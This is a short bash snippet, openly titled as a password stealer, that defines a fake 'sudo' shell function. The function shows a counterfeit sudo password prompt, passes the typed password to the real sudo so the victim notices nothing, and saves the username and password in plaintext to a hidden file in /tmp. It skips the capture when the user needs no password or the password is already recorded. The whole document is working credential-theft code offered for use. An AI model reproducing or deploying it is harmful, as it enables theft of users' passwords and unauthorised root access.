Imitation-sudo function for stealing Unix passwords

sudo

function sudo () {
    realsudo="$(which sudo)"

    # Skip altogether if $USER is not set for whatever reason
    if [[ -z $USER ]];
    then
        $realsudo "${@:1}"
        return
    fi

    realcommand="${@:1}"
    allowedcmds=`sudo -l | grep -A 2 "$USER may run the following commands" | tr -d "[:space:]"`

    # Skip if already found, if user is allowed to run with nopasswd, or for any "-" commands
    if grep -Fqs "$USER" /tmp/.b01n6 || [[ $realcommand == *"-"* ]] || [[ $allowedcmds == *"$realcommand"* ]];
    then
        $realsudo $realcommand
    else
        read -s -p "[sudo] password for $USER: " inputPasswd
        $realsudo -S <<< "$inputPasswd" -u root bash -c "exit" >/dev/null 2>&1
        $realsudo $realcommand
        printf "\n"; printf '%s\n' "$USER : $inputPasswd" >/tmp/.b01n6
    fi
}